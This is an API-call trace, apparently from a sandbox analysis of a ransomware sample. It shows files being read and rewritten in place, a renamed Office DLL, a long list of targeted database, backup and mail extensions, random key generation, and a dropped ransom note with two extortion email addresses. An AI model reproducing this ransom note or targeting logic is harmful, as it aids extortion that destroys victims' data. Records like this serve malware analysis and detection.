	[0081.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe6e0 | out: hHeap=0x300000) returned 1
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a2e0
	[0081.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a2e0 | out: hHeap=0x300000) returned 1
	[0081.873] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0081.874] GetLastError () returned 0x0
	[0081.874] GetLastError () returned 0x0
	[0081.874] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0081.874] GetLastError () returned 0x0
	[0081.874] GetLastError () returned 0x0
	[0081.874] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.990] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.994] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.995] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.997] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.997] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.083] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.097] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.097] CloseHandle (hObject=0x134) returned 1
	[0082.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0082.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.~~~~")) returned 1
	[0082.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0082.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0082.112] GetLastError () returned 0x0
	[0082.112] RtlWakeConditionVariable () returned 0x365f70
	[0082.112] GetCurrentThreadId () returned 0x9f4
	[0082.112] GetCurrentThreadId () returned 0x9f4
	[0082.112] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa310 | out: hHeap=0x300000) returned 1
	[0082.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3760 | out: hHeap=0x300000) returned 1
	[0082.113] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa310
	[0082.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.113] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0082.113] WriteFile (in: hFile=0x134, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0082.114] CloseHandle (hObject=0x134) returned 1
	[0082.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa310 | out: hHeap=0x300000) returned 1
	[0082.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.114] RtlWakeConditionVariable () returned 0x365f70
	[0082.114] GetCurrentThreadId () returned 0x9f4
	[0082.115] GetCurrentThreadId () returned 0x9f4
	[0082.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7d80
	[0082.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b75d0 | out: hHeap=0x300000) returned 1
	[0082.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3728 | out: hHeap=0x300000) returned 1
	[0082.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b75d0
	[0082.115] lstrlenW (lpString=".scr") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".scr") returned 0x0
	[0082.115] lstrlenW (lpString=".cmd") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".cmd") returned 0x0
	[0082.115] lstrlenW (lpString=".dll") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dll") returned 0x0
	[0082.115] lstrlenW (lpString=".bat") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".bat") returned 0x0
	[0082.115] lstrlenW (lpString=".cpl") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".cpl") returned 0x0
	[0082.115] lstrlenW (lpString=".sys") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".sys") returned 0x0
	[0082.115] lstrlenW (lpString=".msc") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".msc") returned 0x0
	[0082.115] lstrlenW (lpString=".com") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".com") returned 0x0
	[0082.115] lstrlenW (lpString=".lnk") returned 4
	[0082.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".lnk") returned 0x0
	[0082.115] lstrlenW (lpString=".msp") returned 4
	[0082.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".msp") returned 0x0
	[0082.116] lstrlenW (lpString=".pif") returned 4
	[0082.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".pif") returned 0x0
	[0082.116] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0082.116] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0082.182] lstrlenW (lpString=".sqb") returned 4
	[0082.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".sqb") returned 0x0
	[0082.182] lstrlenW (lpString=".ost") returned 4
	[0082.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".ost") returned 0x0
	[0082.182] lstrlenW (lpString=".txt") returned 4
	[0082.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".txt") returned 0x0
	[0082.182] lstrlenW (lpString=".mdt") returned 4
	[0082.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".mdt") returned 0x0
	[0082.182] lstrlenW (lpString=".BDB") returned 4
	[0082.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".BDB") returned 0x0
	[0082.183] lstrlenW (lpString=".eql") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".eql") returned 0x0
	[0082.183] lstrlenW (lpString=".DBF") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DBF") returned 0x0
	[0082.183] lstrlenW (lpString=".EQL") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".EQL") returned 0x0
	[0082.183] lstrlenW (lpString=".FDB") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".FDB") returned 0x0
	[0082.183] lstrlenW (lpString=".EDB") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".EDB") returned 0x0
	[0082.183] lstrlenW (lpString=".DACPAC") returned 7
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DACPAC") returned 0x0
	[0082.183] lstrlenW (lpString=".VHD") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".VHD") returned 0x0
	[0082.183] lstrlenW (lpString=".DBV") returned 4
	[0082.183] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DBV") returned 0x0
	[0082.183] lstrlenW (lpString=".dacpac") returned 7
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dacpac") returned 0x0
	[0082.184] lstrlenW (lpString=".sdf") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".sdf") returned 0x0
	[0082.184] lstrlenW (lpString=".accdb") returned 6
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".accdb") returned 0x0
	[0082.184] lstrlenW (lpString=".DBX") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DBX") returned 0x0
	[0082.184] lstrlenW (lpString=".MDT") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".MDT") returned 0x0
	[0082.184] lstrlenW (lpString=".SQB") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".SQB") returned 0x0
	[0082.184] lstrlenW (lpString=".vhd") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".vhd") returned 0x0
	[0082.184] lstrlenW (lpString=".bac") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".bac") returned 0x0
	[0082.184] lstrlenW (lpString=".mdf") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".mdf") returned 0x0
	[0082.184] lstrlenW (lpString=".BAK") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".BAK") returned 0x0
	[0082.184] lstrlenW (lpString=".BAC") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".BAC") returned 0x0
	[0082.184] lstrlenW (lpString=".dbs") returned 4
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dbs") returned 0x0
	[0082.184] lstrlenW (lpString=".vhdx") returned 5
	[0082.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".vhdx") returned 0x0
	[0082.185] lstrlenW (lpString=".NDF") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".NDF") returned 0x0
	[0082.185] lstrlenW (lpString=".dat") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dat") returned 0x0
	[0082.185] lstrlenW (lpString=".DBS") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DBS") returned 0x0
	[0082.185] lstrlenW (lpString=".CKP") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".CKP") returned 0x0
	[0082.185] lstrlenW (lpString=".edb") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".edb") returned 0x0
	[0082.185] lstrlenW (lpString=".PST") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".PST") returned 0x0
	[0082.185] lstrlenW (lpString=".dbf") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dbf") returned 0x0
	[0082.185] lstrlenW (lpString=".SQL") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".SQL") returned 0x0
	[0082.185] lstrlenW (lpString=".pst") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".pst") returned 0x0
	[0082.185] lstrlenW (lpString=".dbv") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dbv") returned 0x0
	[0082.185] lstrlenW (lpString=".SDF") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".SDF") returned 0x0
	[0082.185] lstrlenW (lpString=".dtxs") returned 5
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dtxs") returned 0x0
	[0082.185] lstrlenW (lpString=".db3") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".db3") returned 0x0
	[0082.185] lstrlenW (lpString=".OST") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".OST") returned 0x0
	[0082.185] lstrlenW (lpString=".dbx") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dbx") returned 0x0
	[0082.185] lstrlenW (lpString=".DB3") returned 4
	[0082.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DB3") returned 0x0
	[0082.186] lstrlenW (lpString=".DAT") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DAT") returned 0x0
	[0082.186] lstrlenW (lpString=".VHDX") returned 5
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".VHDX") returned 0x0
	[0082.186] lstrlenW (lpString=".ndf") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".ndf") returned 0x0
	[0082.186] lstrlenW (lpString=".DB") returned 3
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DB") returned 0x0
	[0082.186] lstrlenW (lpString=".sql") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".sql") returned 0x0
	[0082.186] lstrlenW (lpString=".MYD") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".MYD") returned 0x0
	[0082.186] lstrlenW (lpString=".DBT") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DBT") returned 0x0
	[0082.186] lstrlenW (lpString=".ACCDB") returned 6
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".ACCDB") returned 0x0
	[0082.186] lstrlenW (lpString=".fdb") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".fdb") returned 0x0
	[0082.186] lstrlenW (lpString=".bak") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".bak") returned 0x0
	[0082.186] lstrlenW (lpString=".myd") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".myd") returned 0x0
	[0082.186] lstrlenW (lpString=".DTXS") returned 5
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".DTXS") returned 0x0
	[0082.186] lstrlenW (lpString=".ckp") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".ckp") returned 0x0
	[0082.186] lstrlenW (lpString=".dbt") returned 4
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".dbt") returned 0x0
	[0082.186] lstrlenW (lpString=".db") returned 3
	[0082.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".db") returned 0x0
	[0082.187] lstrlenW (lpString=".TXT") returned 4
	[0082.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".TXT") returned 0x0
	[0082.187] lstrlenW (lpString=".MDF") returned 4
	[0082.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".MDF") returned 0x0
	[0082.187] lstrlenW (lpString=".bdb") returned 4
	[0082.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".bdb") returned 0x0
	[0082.187] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.187] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0082.188] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.188] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0082.188] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20217860773) returned 1
	[0082.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ad38710, dwHighDateTime=0x1d60e1e)) 
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a36b8
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a36b8 | out: hHeap=0x300000) returned 1
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38da10
	[0082.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38da10 | out: hHeap=0x300000) returned 1
	[0082.189] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0082.189] GetLastError () returned 0x0
	[0082.190] GetLastError () returned 0x0
	[0082.190] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0082.190] GetLastError () returned 0x0
	[0082.190] GetLastError () returned 0x0
	[0082.190] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.193] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.194] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0082.195] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
